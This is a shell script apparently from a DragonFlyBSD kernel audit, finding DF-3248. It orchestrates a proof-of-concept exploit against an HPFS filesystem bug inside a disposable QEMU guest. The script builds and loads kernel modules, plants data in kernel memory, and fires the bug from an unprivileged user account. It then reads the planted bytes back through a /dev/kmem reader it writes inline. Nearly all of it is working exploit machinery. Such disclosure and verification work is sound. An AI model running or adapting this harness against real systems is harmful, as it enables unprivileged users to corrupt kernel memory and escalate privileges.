⬢ DragonFlyBSD Kernel Audit
DF-3248 / run_full.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3248 full orchestrated run: build, mount, precache, plant+pin (kld),
# unprivileged trigger (open+futimes+close as uid 1001), forced deactivation
# (finalizer kld + sysctl, harness-forced lazy VOP_INACTIVE), verdict from
# console. Restores nothing — guest is disposable after this.
set -e
cd "$(dirname "$0")"
CFG=../../../dfbsd-qemu/config
SCP="scp -F $CFG -o ConnectTimeout=15 -o BatchMode=yes"
SSH="ssh -F $CFG -o ConnectTimeout=15 -o BatchMode=yes"
V=../../../dfbsd-qemu/vm.sh

echo "=== upload ==="
$SCP df3248.img poc.c autopatch.c finalizer.c hscan.c dfbsd:/tmp/

echo "=== build + mount + precache + plant (root) ==="
$SSH dfbsd 'sh -s' <<'REMOTE'
set -e
cc -O2 -o /tmp/df3248_poc /tmp/poc.c
mkdir -p /tmp/dfmod
cp /tmp/autopatch.c /tmp/finalizer.c /tmp/dfmod/
cp /usr/src/sys/vfs/hpfs/hpfs.h /usr/src/sys/vfs/hpfs/hpfs_subr.h /tmp/dfmod/
cd /tmp/dfmod
printf 'KMOD=\tdf3248patch\nSRCS=\tautopatch.c\n.include "/usr/src/sys/conf/kmod.mk"\n' > Makefile2
printf 'KMOD=\tdf3248fin\nSRCS=\tfinalizer.c\n.include "/usr/src/sys/conf/kmod.mk"\n' > Makefile3
make -f Makefile2 SYSDIR=/usr/src/sys >/dev/null 2>&1
make -f Makefile3 SYSDIR=/usr/src/sys >/dev/null 2>&1
test -f df3248patch.ko && test -f df3248fin.ko
cat > /tmp/kread.c <<'EOF'
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
  int fd = open("/dev/kmem", O_RDONLY);
  unsigned long long a = strtoull(argv[1], 0, 16);
  unsigned char b[64];
  ssize_t n = pread(fd, b, 64, (off_t)a);
  printf("read %zd bytes at 0x%llx:\n", n, a);
  for (int i = 0; i < 64; i++) { printf("%02x", b[i]); if (i%16==15) printf("\n"); }
  return 0;}
EOF
cc -O2 -o /tmp/kread /tmp/kread.c
cp /tmp/hscan.c /tmp/dfmod/../hscan.c 2>/dev/null || true
true
vnconfig -u vn0 2>/dev/null || true
mkdir -p /tmp/hpfsmp && chown 1001:1001 /tmp/hpfsmp
vnconfig vn0 /tmp/df3248.img
/root/mount_rw /dev/vn0 /tmp/hpfsmp
/tmp/df3248_poc /tmp/hpfsmp precache /root/poc.log >/dev/null 2>&1 && echo PRECACHE_OK
kldload /tmp/dfmod/df3248patch.ko
dmesg | grep -E "DF3248: origin|PATCHED" | tail -2
REMOTE

echo "=== unprivileged trigger (uid 1001) ==="
timeout 40 $SSH dfbsd-maxx 'id; /tmp/df3248_poc /tmp/hpfsmp trigger /tmp/trig.log; echo TRIG_RC=$?'

echo "=== forced deactivation + verdict (root) ==="
$SSH dfbsd 'sh -s' <<'REMOTE'
set -e
FN=$(/tmp/hscan | grep '^HPFN' | head -1 | awk '{print $2}')
PLANT=$(dmesg | grep "DF3248: origin" | tail -1 | awk -F"plant @ " '{print $2}' | awk '{print $1}')
echo "fnaddr=$FN plant=$PLANT"
test -n "$FN" && test -n "$PLANT"
kldunload df3248fin 2>/dev/null || true
kldload /tmp/dfmod/df3248fin.ko
sysctl debug.df3248_fnaddr="0x$FN"
sysctl debug.df3248_plant="0x$PLANT"
sysctl debug.df3248_finalize=1
echo "--- planted bytes after write (kread) ---"
/tmp/kread "$PLANT"
echo "--- kernel verdict ---"
dmesg | grep DF3248F | tail -8
REMOTE